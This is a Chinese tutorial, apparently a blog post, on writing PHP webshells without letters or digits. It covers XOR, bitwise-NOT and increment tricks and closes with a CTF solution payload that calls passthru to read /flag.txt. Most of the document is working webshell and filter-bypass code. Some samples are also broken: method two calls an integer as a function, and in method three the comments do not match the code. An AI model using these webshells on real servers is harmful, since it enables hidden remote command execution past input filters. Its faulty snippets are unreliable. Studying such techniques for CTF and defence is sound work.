由一题了解深入不包含数字和字母的webshall
字数 807 2025-08-04 00:46:02

不包含数字和字母的Webshell构造方法详解

前言

本文详细讲解三种不包含数字和字母的PHP webshell构造方法,这些技术在CTF比赛和渗透测试中非常实用,可以绕过严格的字符过滤限制。

方法一:异或运算构造

基本原理

  • PHP中两个字符串经过异或操作会得到一个新的字符串
  • 字母对某字符进行两次异或会得到字母本身
  • 可以绕过数字和字母的限制

实现代码

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'
$___=
$$
__;
$_($___[_]); // assert($_POST[_]);

关键点

  1. %01等是通过URL编码的不可打印字符
  2. 任意非字母数字字符都可以用于异或
  3. 异或运算特性:a ^ b ^ b = a

方法二:取反运算构造(PHP7+)

基本原理

  • 利用UTF-8编码中汉字的某个字节
  • 通过取反运算得到需要的字母

实现代码

<?php
$__=('>'>'<')+('>'>'<'); // $__=2
$_=~('瞰'{$__}); // $_='s'
$____=~('和'{$__}); // $____='e'
$_____=~('半'{$__}); // $_____='t'
$______=~('始'{$__}); // $______='c';
$_______=~('俯'{$__}); // $_______='o';
$________=~('瞰'{$__}); // $________='d';
$_________=~('次'{$__}); // $_________='e';
$__________=~('站'{$__}); // $__________='v';
$_=~('和'{$__}).~('和'{$__}).$_____.$______.$_______.$________; // $_='system'
$__($_); // system($_POST[_]);

注意事项

  1. '和'{2}语法仅支持PHP7+
  2. 使用true+true代替数字2(PHP弱类型特性)
  3. 需要构造完整的函数名和变量名

方法三:自增运算构造

基本原理

  • PHP中字母可以自增:'a'++='b', 'b'++='c'
  • 通过强制类型转换获取初始字母

实现代码

<?php
$_=[].''; // $_='Array'
$__=$_[0]; // $__='A'
$___=++$__; // $___='B'
$____=++$__; // $____='C'
$_____=++$__; // $_____='D'
$______=++$__; // $______='E'
$_______=++$__; // $_______='F'
$________=++$__; // $________='G'
$_________=++$__; // $_________='H'
$_=$______.$_______.$_________.$______.$________.$_______; // $_='EFGHFGE'
$_($_____.$______.$_______.$_________); // $_($_POST[_]);

关键技巧

  1. 数组转字符串得到'Array'
  2. 'A'开始自增构造所有字母
  3. 组合出自定义的函数名和变量名

实战案例:CTF题目解析

题目限制

  • 过滤了大部分字母,只允许0-3C
  • 禁用system, exec, shell_exec等函数
  • 长度限制107字符

解题思路

  1. 利用自增方法构造passthru函数
  2. 通过$_GET传递参数

最终Payload

$_=C;$C=++$_;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.$_;(
$$
_{1})(
$$
_{2});

URL编码后

%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B(%24%24_%7B1%7D)(%24%24_%7B2%7D)%3B

使用方式

GET: ?looklook=1&1=passthru&2=cat /flag.txt
POST: ctf_show=[上面编码后的payload]

总结

  1. 异或方法适用于所有PHP版本,但需要构造较长的payload
  2. 取反方法仅支持PHP7+,构造相对简洁
  3. 自增方法最灵活,但需要一定的初始字符
  4. 实际应用中需要根据目标环境选择合适的方法
  5. 这些技术可以组合使用,绕过更严格的过滤

参考资料

不包含数字和字母的Webshell构造方法详解 前言 本文详细讲解三种不包含数字和字母的PHP webshell构造方法,这些技术在CTF比赛和渗透测试中非常实用,可以绕过严格的字符过滤限制。 方法一:异或运算构造 基本原理 PHP中两个字符串经过异或操作会得到一个新的字符串 字母对某字符进行两次异或会得到字母本身 可以绕过数字和字母的限制 实现代码 关键点 %01 等是通过URL编码的不可打印字符 任意非字母数字字符都可以用于异或 异或运算特性: a ^ b ^ b = a 方法二:取反运算构造(PHP7+) 基本原理 利用UTF-8编码中汉字的某个字节 通过取反运算得到需要的字母 实现代码 注意事项 '和'{2} 语法仅支持PHP7+ 使用 true+true 代替数字2(PHP弱类型特性) 需要构造完整的函数名和变量名 方法三:自增运算构造 基本原理 PHP中字母可以自增: 'a'++='b' , 'b'++='c' 等 通过强制类型转换获取初始字母 实现代码 关键技巧 数组转字符串得到 'Array' 从 'A' 开始自增构造所有字母 组合出自定义的函数名和变量名 实战案例:CTF题目解析 题目限制 过滤了大部分字母,只允许 0-3 和 C 禁用 system , exec , shell_exec 等函数 长度限制107字符 解题思路 利用自增方法构造 passthru 函数 通过 $_GET 传递参数 最终Payload URL编码后 使用方式 总结 异或方法适用于所有PHP版本,但需要构造较长的payload 取反方法仅支持PHP7+,构造相对简洁 自增方法最灵活,但需要一定的初始字符 实际应用中需要根据目标环境选择合适的方法 这些技术可以组合使用,绕过更严格的过滤 参考资料 P神文章:不包含数字和字母的webshell PHP官方文档关于字符串操作和类型转换的部分